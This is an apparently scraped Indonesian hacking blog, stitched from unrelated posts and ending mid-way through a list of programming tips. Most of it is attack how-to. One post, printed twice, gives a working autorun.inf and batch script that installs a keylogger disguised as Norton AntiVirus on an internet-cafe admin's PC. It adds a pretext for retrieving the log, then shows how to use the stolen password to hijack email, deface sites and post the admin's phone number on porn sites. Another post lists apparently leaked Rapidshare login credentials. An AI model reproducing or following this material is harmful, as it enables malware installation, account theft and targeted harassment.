Brute Force Atack bekerja sangat lambat dan membutuhkan waktu yang lama

tergantung dari jenis spesifikasi komputernya dan panjang karakter

passwordnya. Saat ini telah banyak situs yang menutup akses terhadap

akses

terhadap usaha login yang secara terus-menerus tidak berhasil.

Jika anda ingin melakukan password Cracking, silahkan pilih - pilih

sendiri

aplikasinya di halaman Member - spyrozone.tk.

[6]. Session Hjacking

Session hijacking dewasa ini semakin marak dikalangan para attacker.

Session

Hijacking biasa dilakukan dengan melakukan peniruan cookies. Jadi pada

intinya, kita harus bisa meniru cookies sang korban untuk mendapatkan

sesi

loginnya.

Lalu bagaimana cara mendapatkan cookies sang korban?

1. Dengan analisa Cookies. Cara ini relatif sulit dilakukan.

2. Mencuri Cokies.

Misalnya Sang Attacker ingin mendapatkan account si A. Sang Attacker

bisa

dengan mudah membuat semacam script Java Script yang disisipkan dalam

email

untuk dikirim ke korban.Saat korban membuka email itu, tanpa sadar

cookiesnya

akan dicuri dan direkam ke suatu webserver dengan memanfaatkan suatu

script

PHP.

Belakangan ini yang paling sering menjadi incaran adalah account

Friendster.

Ada yang menyisipkan suatu scipt lewat testimonial, ada yang

menyisipkannya di

profilnya sendiri untuk mencuri cookies sang korban dan lain

sebagainya. Saya

memiliki tips untuk ini:

1. Jangan menggunakan browser InternetExplorer saat ingin membuka

profil orang

lain. Catat alamat profil yang ingi anda lihat,logout terlebih dahulu

dari

account anda dan bersihkan semua cookies, baru kemudian bukalah profil

Friendster tujuan.

2. Ketika menerima testimonial, periksa terlebih dahulu source codenya.

Apakah

disana terdapat script asing atau kata-kata yang identik dengan

pembajakan

seperti : "HACKED", "DEFACED", "OWNED".. dll.. Jika ragu-ragu .......

reject

ajah..

3. Waspada ketika tanpa suatu alasan yang jelas tiba-tiba anda logout

dengan

sendirinya dari account anda. Saat anda diminta memasukkan username dan

password, lihat dulu addressbar anda! apakan anda sedang berada di

situs

yang semestinya atau tidak. Periksa source code halaman tersebut.Lihat

pada

form action, kemana informasi anda nantinya akan dikirim.

Sebenarnya session hijacking bisa dicegah jika saja sang penyedia

layanan

memperhatikan hal-hal berikut:

1. Menetapkan session identifier yang unik

2. Menetapkan sistem identifier berpola acak

3. Session identifier yang independen

4. Session identifier yang bisa dipetakan dengan koneksi client side.

Fenomena lain adalah,hingga saat artikel ini diterbitkan,ternyata masih

banyak

dijumpai para user yang tidak melakukan sign out setelah membuka

accountnya.

Dengan demikian, orang lain yang mengunakan komputer itu dan membuka

website

yang sama dengan yang telah dibuka oleh orang pertama akan otomatis

login ke

account sang korban.

[7]. Menjadi Proxy Server

Kita bisa mengumpulkan informasi dengan menjadi proxy server bagi

korban

untuk dapat berselancar. Dengan menjadi proxy server, seluruh identitas

sang

peselancar bisa menjadi milik kita.

[8]. Memanfaatkan Kelalaian user dalam penggunaan fitur browser

Setiap browser tentunya memiliki fitur yang ditujukan untuk kemudahan

dan

kenyamanan penggunanya dalam berselancar. Diantaranya ialah dengan

adanya

cache dan Password Manager.

Di Internet tentunya banyak suatu website yang isinya tidak berubah

dalam

beberapa hari (Contohnya spyrozone.tk nich.. hehehe ;) Nah, untuk situs

yang

seperti ini cache menjadi hal yang sangat berguna. Cache akan menyimpan

file-file hasil browsing sehinga nantinya jika anda berkunjung lagi ke

situs

tersebut browser tidakperlu lagi melakukan download untuk kedua kalinya

dari

server sehingga setiap halaman situs yang telah anda buka sebelumnya

akan

terbuka dengan lebih cepat. Semua itu biasanya diatur oleh header time

to

live.

Lho, bagaimana dengan situs-situs penyedia berita yang selalu up to

date?

Untuk site yang seperti itu, time to live-nya akan di set=0 sehinga

nantinya

anda akan terus melakukan download setiap kali berkunjung.

Cukup nyaman bukan? Ya, tapi ancaman mulai timbul. Cobalah kini anda

jelajahi

opsi-opsi yang berkaitan dengan cache pada browser anda. Tentu anda

bisa

menemui bahwa ada fasilitas untuk menentukan berapa besarnya file

temporary

yang bisa disimpan di harddisk. Cari juga lokasi dimana file-file

tersebut

akan disimpan.

Coba anda buka folder tersebut, anda akan menemui file-file html &

file-file

gambar dari site-site yang sudah anda kunjungi. Pada Browser IE, anda

bisa

melihat lokasi file cache dengan menjelajahi menu Tools --- > Internet

options

--- > Settings

Lalu apa yang bisa didapatkan?? toh cuma file-file "sampah"?? Hmm...

sekarang

coba anda copy semua file yang ada di sana ke suatu folder. Lalu

bukalah

salah-satu file htmlnya. Jika itu komputer publik,anda bisa mengetahui

situs

apa saja yang telah diakses oleh oleh orang sebelum anda.

Hmm.. hanya dengan melihat file temporary anda bahkan bisa melihat

password

dan dll.Banyak saya temui situs yang menyimpan password dan

menampilkannya

pada url. Tentunya anda juga pasti sering membacanya di berbagai

tutorial.

Kebanyakan browser pada saat ini memiliki fasilitas untuk menyimpan

password.

Misalnya saat meggunakan Mozilla Firefox, anda pasti sering menerima

kotak

dialog konfirmasi yang menanyakan apakah anda ingin password anda

disimpan

atau tidak oleh PasswordManager.Kebanyakan user cenderung untuk memilih

opsi

YES, entah itu dengan penuh kesadaran atau memang mereka tidak tau (

baca:

tidak mau tau) apa maksud dari kotak dialog itu.

Orang lain yang kemudian mengunakan browser itu bisa dengan sangat

mudah

mendapatkan password korban dengan memasuki menu Tools --- > Options -

-- >

Security --> Saved password.

Contoh lain adalah fasilitas wand password yang dimiliki oleh browser

Opera.

Saat anda memasukkan user name dan password pada suatu form dan menekan

tombol submit, opera secara default akan meminta konfirmasi kepada anda

apakah anda ingin browser menyimpan id dan password anda atau tidak.

Lagi dan

lagi... kebanyakan netter ceroboh, mereka cenderung untuk memilih opsi

"YES".

Lalu?? Orang lain yang kemudian menggunakan browser itu bisa melihat

situs apa saja yang telah diakses oleh user, arahkan browser ke situs

tersebut, letakkan cursor pada form isian user name, tekan [ALT]+[

ENTER] dan

BOOOMM!!!! Kenapa?? Jangan kaget dulu!! Hehehe.. form login akan

otomatis

terisi dengan user name korban lengkap dengan passwordnya ;D (It's fun

enough.. ;)

Ini hanya sebagian kecil contoh, jelajahi fitur-firtur browser lain!

[9]. Googling

Google.com. Banyak sudah situs yang runtuh, password dan nomor - nomor

kartu

kredit yang dicuri akibat dari ulah orang yang menyalahgunaan

kesaktiannya ;)

Dahulu, hal ini mudah dilakukan.Hanya dengan mengetikkan kata kunci

tertentu

yang berkaitan dengan user name dan password, anda bisa memanen ratusan

password user melalui google. Tapi sekarang tampaknya anda harus gigit

jari

jika menggunakan cara diatas ;D

Jangan sedih dulu karena Google baru saja menelurkan produk barunya,

yaitu

Google Code Search. Ancaman baru mulai timbul, "si pintar" ini kini

dapat

meng-crawl hingga kepada archive file yang berada di public directory

web

server. Hati-hati yang punya kebiasaan untuk menyimpan informasi

penting di

dalamnya (password, dan info berharga lainnya) Sebaiknya mulai sekarang

kebiasaan itu dihilangkan. Selalu proteksi folder-folder yang sensitif

agar

situs anda bisa hidup lebih lama. Kalo nggak... yach.. tunggu ajah ada

orang

yang memanfaatkan produk baru google ini untuk mengeruk informasi

sensitif

dari web server anda. dan jika itu sudah terjadi... maka bersiaplah..

"taman

bermain" anda akan diambil alih olehnya..

0 [0XFFFF000] Penutup

Wew... ada banyak cara bukan untuk mendapatkan account orang lain?? So,

selalu

berhati-hatilah. Waspada selalu saat berada di tempat umum, bahkan saat

berada

di komputer pribadi anda sekalipun karena bisa jadi teman anda atau

siapapun

yang meminjam komputer anda memiliki tujuan yang kurang baik.

Sekian, semoga bermanfaat dan bisa menambah pengetahuan anda :)

- phrack[dot]org

- spyrozone[dot]tk

- google[dot]com

0 [0XFFFFFF0] Shoutz:

- Vindika Anastasya & Vermouth Anastasya.. The deepest Love I'v ever

had.. :)

- All Crack Sky Staff! Hey there.. :)

- ECHOERS, SECTOR-S (wake up guys!!)

- EVILratE, PushMOV, MyzTX, Dr3, Lun4, Clust3r, RX-259, RX-290, RX-313,

RX-147

- Mr.Rio, PramayunTA, Alfian, Andien, Taurista, Bachtiar, EQ, WisNU,

Arman,

Dani, Rara, Icha, Prita, Vivi, Nabiel, Tika, Kemas, Bomy, Arbi,

Tunjung,

Krishna, Rizki..

- All my friend in SMAN 2 SIDOARJO

- All member of www.spyrozone.tk .. stay Alert in SPYRO ZONE!!

0 [0XFFFFFFF] Attachment:

Berikut adalah contoh social engineering sederhana. Saya ambil dari

tulisan

saya yang berjudul "Pembalasan Untuk Sang Admin"-www.spyrozone.tk.

Enjoy... ;)

---------------------------------- --------------------------------

Pembalasan Untuk Sang Admin - SOcial Engineering

1. Introduction

Semakin paranoidnya para admin belakangan ini menyebabkan banyak

pengguan jasa

layanan internet cafe (warnet) menjadi kurang nyaman. Restriction (

pembatasan)

disana-sini (walaupun semua itu dilakukan bukan tanpa alasan) menjadi

salah

satu inspirasi bagi banyak orang untuk mencari-cari cara menerobos

segala

keterbatasan itu dan saling men-share pengetahuan mereka. Berbagai

jenis

exploit pun dibedah, didiskusikan dan dikemas menjadi artikel untuk

para

newbie.

Sejenak para newbie bisa tertawa puas, berjaya, senyum-senyum sendiri

sampai

tak jarang lupa diri :P Namun semua itu tentunya tidak bertahan lama.

Admin

menjadi semakn pintar. Fasilitas Floppy drive dan CD room drive dihapus

dan

melarang user untuk melakukan segala bentuk transfer file dari media

penyimpanan sementara (disket, cd, flashdisk) kecuali melalui server

terlebih

dahulu. Ini merupakan fenomena yang akhir-akhir ini bisa kita temui

dengan

mudah di berbagai Internet cafe. Admin mulai rajin mengupdate path

sehingga

exploit-exploit yang dulu dibangga-banggakan oleh kaum newbie menjadi

"rongsokan" tak berguna.

Sekarang, mari kita bangunkan sang admin dari mimpi indahnya untuk

menunjukkan

bahwa menjadi paranoid itu adakalanya tidak baik dan tidak ada system

yang

100% secure.

2. Serangan pertama

Kita akan menjadi seorang "agen mata-mata" (hehehe.. gw pake istilah

ini biar

ente merasa agak sedikit keren) yang akan merekam segala aktivitas sang

admin.

Tujuannya.. banyak! dan salah satunya seperti hal yang banyak

diinginkan

orang... mendapatkan password sang admin. Partner kita kali ini adalah

navw32.exe, sebuah keyloger dengan icon Norton AntiVirus yang bisa kamu

dapatkan suka-suka dengan harga cuma-cuma di halaman member www.

spyrozone.tk

kategori Keyloger. Setelah kamu download keyloger tersebut, ikuti

langkah -

langkah berikut:

--- [1 Bukalah Notepad kemudian ketik baris script berikut:

[autorun]

open=nav.bat

Klik [file][save] kemudian pada box save as type, pilih All Files dan

pada

form isian name beri nama Autorun.inf lalu klik tombol [save].

--- [2 Buka lembar baru pada notepad dengan klik menu [file] [new] lalu

ketik

script berikut:

@echo off

echo Norton Antivirus 2006

echo Scanning disk drive...

echo Please wait...

copy navw32.exe %windir%\navw32.exe

call %windir%\navw32.exe

echo.

echo.

echo.

echo.

echo.

echo.

echo.

echo. Scanning complette! No virus threat detected!

echo.

cls

Klik [file][save] kemudian pada box save as type, pilih All Files dan

pada

form isian name beri nama nav.bat lalu klik tombol [save].

--- [3. Persiapkan beberapa file microsoft word documents (bisa diganti

dengan

file lain) sebagai tipuan/alasan untuk di transfer. Semakin banyak

file,

semakin baik karena file keyloger kamu akan semakin tersamarkan.

--- [4. Persiapkan sebuah cd kosong (bekas juga boleh) lalu bakar semua

file

diatas (autorun.inf, nav.bat, navw32.exe dan file-file tipuan) kedalam

CD.

Sekarang pergilah ke warnet tempat sang admin berkuasa. Bersikaplah

seperti

biasa dan jangan gugup selayaknya para koruptor yang sering nampang di

satasion-stasion TI-PI tanpa rasa malu. Setelah kamu login ke billing

komputer

user, datangi sang admin. Katakan pada beliau, "Mas/mbak/om/tante/, mau

transfer file dari cd ini. Nama filenya blablabla tolong dikirim ke

komputer

nomor blablabla."

Begitu CD dimasukkan, saat itulah terjadi sebuah fenomena berikut:

Komputer akan memproses file autorun.inf secara otomatis --- > file

autorun.inf

akan memproses file nav.bat --- > file nav.bat akan menduplikasi file

navw32.exe ke dalam directory windows dan mengaktivkannya --- >

Keyloger telah

terinstall, hasil rekamannya akan tersimpan di directory yang sama

dengan nama

navw32.dll beratribut hidden.

Perlu diketahui bahwa keyloger ini tidak akan menampilkan kotak dialog

dalam

bentuk apapun! So, nggak usah khawatir bakal ketahuan ;)

Sekarang, kamu bisa pulang dengan wajah tanpa dosa dan mungkin (lagi -

lagi)

kamu bakalan senyum-senyum sendiri sambil mengelus-elus jenggot kayak

habis

menang togel.

Lalu bagaimana cara mengambil file hasil rekaman keyloger di directory

windows

sang admin? Ikuti langkah-langkah pada serangan kedua.

3. Serangan kedua

Dua hari Kemudian, datanglah ke warnet itu lagi. Bertingkahlakulah

secara

wajar dan beraktivitas seperti layaknya user biasa. Setelah selesai

berinternet ria, datangi sang admin, bayarlah biaya browsing seperti

biasa

lalu dengan wajah sangat-sangat memelas seperti pengemis di jalanan :)

katakan

pada beliau,"Mas/mbak/om/tante/, komputer saya bermasalah neeh. Menurut

pesan

Error yang muncul, file navw32.dll yang berada di directory windows

hilang.

File tersebut beratribut hidden. Tolong doong copykan dari komputer

ini.

Kebetulan versi windowsnya sama dengan komputer saya.."

Tentu saja biasanya sang admin dengan sangat senang hati akan membantu

kamu.

Dengan suka rela dan penuh kesadaran beliau akan mengaktifkan opsi Show

All

files pada Folder Options dan mengcopy-kan file navw32.dll dari

directory

windows tanpa menyadari bahwa file tersebut bukan file system, namun

file

hasil rekaman keyloger.

Berikan disket/cd/flashdisk mu dan setelah file tersebut tersimpan,

ucapkan

beribu terima kasih lalu pulanglah ke rumah. Buka file tersebut di

rumah. Klik

2x pada file lalu ketika muncul kotak dialog open with, klik opsi

select

program from a list dan pilih notepad pada daftar program yang

ditampilkan.

Sekarang tentunya kamu bisa leluasa membaca rekaman aktivitas sang

admin. Cari

password emailnya dan kamu bisa menuju pada hari pembalasan.

4. Hari Pembalasan

Pilih hari yang tepat, misalnya malam jum'at kliwon dimana sang admin

mungkin

sedang terlelap di rumahnya. Nyalakan komputermu dan connectlah ke

Internet.

Namun ada baiknya kamu lakukan hal ini di warnet agar lebih aman.

Carilah

warnet yang buka 24 jam.

Berbekal hasil rekaman keyloger tadi, loginlah ke account email sang

admin.

Setelah puas menjelajahi emailnya, subscriblah ke berbagai mailing list

besar

dengan email tersebut. Subscribe sebanyak-banyaknya.

Hohoho.. lalu apa lagi nich?? Kalau sang admin punya blog/website

pribadi/

account Friendster.. tentu kamu dengan mudah mendapatkan semua password

itu

dengan fasilitas forgot password. Kebanyakan penyedia layanan seperti

itu akan

mengirimkan password via email. So, setelah dapat semuanya... heheh...

DEFACE

ajah ;) Tapi inget lho, halaman lama harus tetap di backup dan jangan

merubah

password apapun!!

Ada ide yang sedikit lebih sadis (ini cuma ide lho.. sebaiknya jangan

dilakukan deech..). Daftarkan emailnya ke berbagai situs - situs porno

dan

postinglah sebuah pesan singkat, memikat dan "mematikan". Berikut

contohnya

jika milis tersebut berbahasa Indonesia:

Dear all..

gwe lagi nafsu berat neeh, burun telepon gwe doong sekarang juga!! neeh

no

telp gwe: 021-blablabla (masukkan no telp sang admin)

gwe tunggu 24 jam lho!!

Atau terserah kamu laah.. saya rasa kamu lebih pintar dalam memilih

kata- kata

yang yahuud!! ;D

Maka bisa dipastikan malam itu akan menjadi malam jumat kliwon paling

mengerikan bagi sang admin, lebih mengerikan daripada film-film horor

manapun!

Telepon rumahnya akan berdering tanpa henti dibanjiri oleh telepon dari

dalam

dan luar negeri dengan maksud pembicaraan yang sudah bisa ditebak apa

maksudnya ;D

Keesokan harinya, setelah menghadapi malam paling mengerikan itu, sang

admin

akan kaget 1/2 hidup 1/2 mati mendapati inboxnya penuh dengan email-

email dari

berbagai milis yang beliau sendiri tidak merasa pernah bergabung dengan

milis-milis itu. Dan bisa jadi, saat beliau sedang sibuk Unsubcribe

dari

milis-milis tersebut, telepon rumahnya masih terus - terusan menjerit -

jerit

dengan jeritan indah :D

5. Pencegahan

Jika kamu adalah admin yang tidak mau mengalami nasib seperti diatas,

maka

setiap kamu menerima CD dari siapapun..

1. Buka windows explorer

2. Tekan-tahan tombol shift sambil memasukkan CD kedalam CD Room dRive.

3. Setelah CD masuk,tetap tekan tombol shift sampai kira-kira 25 detik

.Setelah itu kamu bisa melepas tombol shift dan mengaksesnya melalui

panel sebelah kiri

windows Explorer. Klik pada area folder tree, jangan pada daftar drive

sebelah kanan karena fitur autorun akan aktif.

Dan ingat, jangan terlalu percaya pada siapapun! Ada begitu banyak

orang tidak terduga di sekitar anda!!

6. Penutup

--- [+ Kesimpulan

Bisa kita bayangkan sendiri betapa kelalaian sepele bisa menimbulkan

dampak yang sangat berbahaya. Ini hanya merupakan contoh Social

Engineering sederhana namun dampaknya.. bisa anda bayangkan sendiri ;)

Cara diatas sudah saya coba pada 4 buah warnet di sidoarjo dan hasilnya

saya berhasil mendapatkan catatan aktivitas sang admin (password etc

..).

Read More..

[+/-] Selengkapnya...

Mendapatkan Akses Premium Account di Rapidshare

Mendapatkan Akses Premium Account di Rapidshare
Rapidshare[dot]de, situs penyedia layanan upload dan free download

file, alternatif bagi
para netter yang ingin tukar-menukar file. Cukup gunakan fasilitas

upload berbasis web
yang telah disediakan, catat alamat url file anda dan anda bisa

mendownloadnya dari
manapun lain waktu atau bagikan alamat url tersebut ke teman-teman anda

jika anda
ingin mereka juga "menikmati" file yang telah anda upload.
Ada 2 account yang ditawarkan oleh Rapidshare, yaitu Premium account

dan Free
Account. Masalahnya adalah pada Free account. User akan terganggu

dengan adanya
counter time. Counter time ini biasanya bisa mencapai lebih dari 1

menit. Jadi, rapidshare
akan membuat anda menunggu selama kurang lebih satu menit sebelum

menunjukkan url
file yang nada minta. Huh.. cukup menyita waktu bukan?
Masalah kedua adalah Rapidshare akan mencatat alamat IP anda dan

memberikan
batasan untuk melakukan download.
Masalah ketiga, manusia selalu saja merasa kurang puas. Ketika dia

sudah mendapatkan
akses yang setara dengan premium account, dia akan berfikir, "gimana

yach biar gue
benr-bener dapet premium account". Okay, di artikel ini juga saya akan

mewujudkan
impian itu.
Sekarang, mari kita bahas ketiga masalah itu satu persatu.
:::::: Alat perang Kita ::::::
>> Seperangkat komputer dan koneksi internet ^_^
>> keberanian dan semangat yang tinggi Smile
>> Browser Mozilla Firefox
I. Melewati Conter Time

1. Copy-paste alamat (URL) file yang hendak anda download di address

bar Mozilla.
2. Setelah halaman Rapidshare muncul, klik Free account.
3. Akan muncul counter down, abaikan saja, hapus string url di address

bar anda hingga
bersih, kemudian ketik kode java script berikut: javascript:alert(c=0)
4. Tekan ENTER, akan muncul sebuah message box di hadapan anda, tenang,

jangan
panik, tetap fokus dan bersabar ^_^ tekan saja [OK] dengan penuh

percaya diri, counter
down akan segera lenyap dari hadapan anda dan rapidshare akan

menampilkan link
download file yang ingin anda download.
II. Mengatasi Limit Download

Caranya simple, gunakan saja kumpulan proxy yang sudah diposting di
www.xxx.tk halaman Artikel&Trik kategori komputer. Pilih sendiri dari

ratusan
proxy itu Smile
III. Benar-Benar Mendapatkan akses Premium Account
Jika kedua cara yang telah saya bahas hanya akan memberikan anda akses

"setara"
dengan premium account, kini anda akan benar-benar mendapatkan premium

account!
Gunakan saja User name dan password berikut:
LOGIN: 31989
PASSWORD: 2310214
LOGIN: 27766
PASSWORD: 8797341
User: 18549
Password: 4646182
Login: 20145
Password: 7072148
Login: 19159
Password: 7932964
Login: 20151
Password: 773290
Login: 20366
Password: 7177185
Login: 20374
Password: 5630758
Login: 20452
Password: 3249043
LOGIN: 20949
PASSWORD: 2716739
User: 22484
Password: 358030
User: 18549
Password: 4646182
User: 18800
Password: 9496722
LOGIN: 20949
PASSWORD: 2716739
Login: 20145
Password: 7072148
Login: 19159
Password: 7932964
Login: 20151
Password: 773290
Login: 20366
Password: 7177185
Login: 20374
Password: 5630758
Login: 20452
Password: 3249043
PENTING :
Gunakan trik dan account yang telah saya berikan untuk mendownload

file-file yang
bermanfaat. Sudah bukan jamannya lagi keterbatasan membatasi kita untuk

belajar.

Read More..

[+/-] Selengkapnya...

Ready IP Address

This summary is not available. Please click here to view the post.

Read More..

[+/-] Selengkapnya...

Pembablasan

Pembablasan

Semakin paranoidnya para admin belakangan ini menyebabkan banyak

pengguan jasa
layanan internet cafe (warnet) menjadi kurang nyaman.
|—[Table of Content
1. Introduction
2. Serangan pertama
3. Serangan kedua
4. Hari pembalasan
5. Cara pencegahan
6. Penutup
[+] Kesimpulan
[+] Referensi
1. Introduction
Semakin paranoidnya para admin belakangan ini menyebabkan banyak

pengguan jasa
layanan internet cafe (warnet) menjadi kurang nyaman. Restriction (

pembatasan) disanasini
(walaupun semua itu dilakukan bukan tanpa alasan) menjadi salah satu

inspirasi bagi
banyak orang untuk mencari-cari cara menerobos segala keterbatasan itu

dan saling menshare
pengetahuan mereka. Berbagai jenis exploit pun dibedah, didiskusikan

dan dikemas
menjadi artikel untuk para newbie.
Sejenak para newbie bisa tertawa puas, berjaya, senyum-senyum sendiri

sampai tak
jarang lupa diri :P Namun semua itu tentunya tidak bertahan lama. Admin

menjadi
semakn pintar. Fasilitas Floppy drive dan CD room drive dihapus dan

melarang user
untuk melakukan segala bentuk transfer file dari media penyimpanan

sementara (disket,
cd, flashdisk) kecuali melalui server terlebih dahulu. Ini merupakan

fenomena yang
akhir-akhir ini bisa kita temui dengan mudah di berbagai Internet cafe.

Admin mulai rajin
mengupdate path sehingga exploit-exploit yang dulu dibangga-banggakan

oleh kaum
newbie menjadi “rongsokan” tak berguna.
Sekarang, mari kita bangunkan sang admin dari mimpi indahnya untuk

menunjukkan
bahwa menjadi paranoid itu adakalanya tidak baik dan tidak ada system

yang 100%
secure.
2. Serangan pertama
Kita akan menjadi seorang “agen mata-mata” (hehehe.. gw pake istilah

ini biar ente
merasa agak sedikit keren) yang akan merekam segala aktivitas sang

admin. Tujuannya..
banyak! dan salah satunya seperti hal yang banyak diinginkan orang..

mendapatkan
password sang admin. Partner kita kali ini adalah navw32.exe, sebuah

keyloger dengan
icon Norton AntiVirus yang bisa kamu dapatkan suka-suka dengan harga

cuma-cuma di
halaman member kategori Keyloger. Setelah kamu download keyloger

tersebut, ikuti
langkah-langkah berikut:
—[1 Bukalah Notepad kemudian ketik satu baris script berikut:
open=nav.bat
Klik [file][save] kemudian pada box save as type, pilih All Files dan

pada form isian
name beri nama Autorun.inf lalu klik tombol [save].
—[2 Buka lembar baru pada notepad dengan klik menu [file][new] lalu

ketik script
berikut:
@echo off
echo Norton Antivirus 2006
echo Scanning disk drive…
echo Please wait…
copy navw32.exe %windir%\navw32.exe
call %windir%\navw32.exe
echo.
echo.
echo.
echo.
echo.
echo.
echo.
echo. Scanning complette! No virus threat detected!
echo.
cls
Klik [file][save] kemudian pada box save as type, pilih All Files dan

pada form isian
name beri nama nav.bat lalu klik tombol [save].
—[3. Persiapkan beberapa file microsoft word documents (bisa diganti

dengan file lain)
sebagai tipuan/alasan untuk di transfer. Semakin banyak file, semakin

baik karena file
keyloger kamu akan semakin tersamarkan.
—[4. Persiapkan sebuah cd kosong (bekas juga boleh) lalu bakar semua

file diatas
(autorun.inf, nav.bat, navw32.exe dan file-file tipuan) kedalam CD.
Sekarang pergilah ke warnet tempat sang admin berkuasa. Bersikaplah

seperti biasa dan
jangan gugup selayaknya para koruptor yang sering nampang di satasion-

stasion TV
tanpa rasa malu. Setelah kamu login ke billing komputer user, datangi

sang admin.
Katakan pada beliau, “Mas/mbak/om/tante/, mau transfer file dari cd

ini. Nama filenya
blablabla tolong dikirim ke komputer nomor blablabla.”
Begitu CD dimasukkan, saat itulah terjadi sebuah fenomena berikut:
Komputer akan memproses file autorun.inf secara otomatis —> file

autorun.inf akan
memproses file nav.bat —> file nav.bat akan menduplikasi file navw32.

exe ke dalam
directory windows dan mengaktivkannya —> Keyloger telah terinstall,

hasil rekamannya
akan tersimpan di directory yang sama dengan nama navw32.dll beratribut

hidden.
Sekarang, kamu bisa pulang dengan wajah tanpa dosa dan mungkin (lagi-

lagi) kamu
bakalan senyum-senyum sendiri sambil mengelus-elus jenggot kayak habis

menang togel.
Lalu bagaimana cara mengambil file hasil rekaman keyloger di directory

windows sang
admin? Ikuti langkah-langkah pada serangan kedua.
3. Serangan kedua
Dua hari Kemudian, datanglah ke warnet itu lagi. Bertingkah lakulah

secara wajar dan
beraktivitas seperti layaknya user biasa. Setelah selesai berinternet

ria, datangi sang
admin, bayarlah biaya browsing seperti biasa lalu dengan wajah sangat-

sangat memelas
seperti pengemis di jalanan :) katakan pada beliau,”Mas/mbak/om/tante/,

komputer saya
bermasalah neeh. Mnurut pesan Error yang muncul, file navw32.dll yang

berada di
directory windows hilang. File tersebut beratribut hidden. Tolong doong

copykan dari
komputer ini. Kebetulan versi windowsnya sama dengan komputer saya..”
Tentu saja biasanya sang admin dengan sangat senang hati akan membantu

kamu.
Dengan suka rela dan penuh kesadaran beliau akan mengaktifkan opsi Show

All files
pada Folder Options dan mengcopy-kan file navw32.dll dari directory

windows tanpa
menyadari bahwa file tersebut bukan file system, namun file hasil

rekaman keyloger.
Berikan disket/cd/flashdisk mu dan setelah file tersebut tersimpan,

ucapkan beribu terima
kasih lalu pulanglah ke rumah. Buka file tersebut di rumah. Klik 2x

pada file lalu ketika
muncul kotak dialog open with, klik opsi select program from a list dan

pilih notepad
pada daftar program yang ditampilkan.
Sekarang tentunya kamu bisa leluasa membaca rekaman aktivitas sang

admin. Cari
password emailnya dan kamu bisa menuju pada hari pembalasan.
4. Hari Pembalasan
Pilih hari yang tepat, misalnya malam jum’at kliwon dimana sang admin

mungkin sedang
terlelap di rumahnya. Nyalakan komputermu dan connectlah ke Internet.

Namun ada
baiknya kamu lakukan hal ini di warnet agar lebih aman. Carilah warnet

yang buka 24
jam.
Berbekal hasil rekaman keyloger tadi, loginlah ke account email sang

admin. Setelah
puas menjelajahi emailnya, subscriblah ke berbagai mailing list besar

dengan email
tersebut. Subscribe sebanyak-banyaknya.
Ada ide yang sedikit lebih sadis (ini cuma ide lho.. sebaiknya jangan

dilakukan deech..).
Daftarkan emailnya ke berbagai situs-situs porno dan postinglah sebuah

pesan singkat,
memikat dan “mematikan”. Berikut contohnya jika milis tersebut

berbahasa Indonesia:
Dear all..
gwe lagi nafsu berat neeh, burun telepon gwe doong sekarang juga!! neeh

no telp gwe:
021-blablabla (masukkan no telp sang admin)
gwe tunggu 24 jam lho!!
Atau jika berbahasa Inggris:
Dear,
Wanna play “freestyle” with mw? Please call me : 062-021-blablabla
You may F**k me for free!!
Atau terserah kamu laah.. saya rasa kamu lebih pintar dalam memilih

kata-kata yang
yahuud!! :)
Maka bisa dipastikan malam itu akan menjadi malam jumat kliwon paling

mengerikan
bagi sang admin, lebih mengerikan daripada film-film horor manapun!

Telepon
rumahnya akan berdering tanpa henti dibanjiri oleh telepon dari dalam

dan luar negeri
dengan maksud pembicaraan yang sudah bisa ditebak apa maksudnya :)
Keesokan harinya, setelah menghadapi malam paling mengerikan itu, sang

admin akan
kaget 1/2 hidup 1/2 mati mendapati inboxnya penuh dengan email-email

dari berbagai
milis yang beliau sendiri tidak merasa pernah bergabung dengan milis-

milis itu. Dan bisa
jadi, saat beliau sedang sibuk Unscribe dari milis-milis tersebut,

telepon rumahnya masih
terus-terusan menjerit-jerit dengan jeritan indah :)
5. Pencegahan
Jika kamu adalah admin yang tidak mau mengalami nasib seperti diatas,

maka setiap
kamu menerima CD dari siapapun selalu tekan-tahan tombol shift sambil

memasukkan
CD kedalam CD Room dRive. Setelah CD masuk, tetap tekan tombol shift

sampai kirakira
25 detik. Setelah itu kamu bisa melepas tombol shift dan mengaksesnya

melalui
windows Explorer. Klik pada area folder tree sebelah kiri, jangan pada

daftar drive
sebelah kanan karena fitur autorun akan aktif.
6. Penutup
—[+ Kesimpulan
Bisa kita bayangkan sendiri betapa kelalaian sepele bisa menimbulkan

dampak yang
sangat berbahaya. Ini hanya merupakan contoh Social Engineering

sederhana namun
berdampak luar biasa, untuk memancing ide kreatif anda.
—[+ Referensi
Self implementing
Note:
Sebelum anda menerapkan ide-ide diatas, saya mohon dengan sangat agar

anda brfikir
jernih dan mengunakan akal sehat anda. Kalau misalnya sang admin telah

menolak cinta
anda, jangan lantas seenaknya melakukan pembalasan dengan cara diatas.

Ada baiknya
anda pergi ke market terdekat untuk membeli seribu cermin. Berkacalah!!

perbaiki
penampilan dan perilaku anda!
Tapi kalau sang admin adalah orang-orang sombong dan telah melakukan

kecurangan,
menganggap rendah anda dan mengklaim diri mereka adalah super-Hacker,

maka anda
bisa membungkam mulut besar mereka dengan cara ini.

Read More..

[+/-] Selengkapnya...

Sunday, November 11, 2007

10 Programming Tips

Software

(1) Avoid using the same variable again and again for different purposes.

This happens with us that we think that more and more memory will be wasted if we declare seperate variable for each purpose. But, if any debugging is about to be done and program is quite a typical. Then, debugger will get confused and Dry-Run will also not work in such a scenario. So, if your program is small then, you can use the same variable. But, if it is complex, then do not use the same cheap practive.

(2) Use capital letter to variable name for global variables.

You should use capital letters because, there should be distinguishable difference between a local variable and global variable. There should not be any confusion while dry run or debugging.

(3) All the variables should be declared at one place.

This helps the programmer to analyze whether some variable is yet declared or not. If we declare them at different locations, then, a proper manner can not be acheived in your programming. The variables should normally defined just below the function declaration.

(4) There should be proper indenting in whole program.

Indenting helps you understand the program and the logic behind the statements well. This is cheap practice to write the functions, iterations and conditional statements without indenting. It looks like a junk also. There should be a proper demarkation in your mind and the same concept should be followed in all the portions of your program.

(5) Commenting.

Commenting is very much important. Although, there is no relation of them from your logic and programming. But, once you debug your program or new amendments are done, it becomes tedious to understand the logic behind that coding section. That is why, commenting is very neccesary in programming.

(6) Do not use labels.

In some programming languages like BASIC, there is scope of providing labels. Experts say that using such labels produces extra burden in the operating system. So, you should avoid them.

(7) Do not declare unused functions or variables.

This practice is also prohibited. You should not declare such a variable which is not getting used anyewhere. You should check it out when you are going through dry-run also.

(8) Coupling should be avoided cohesion should be increased.

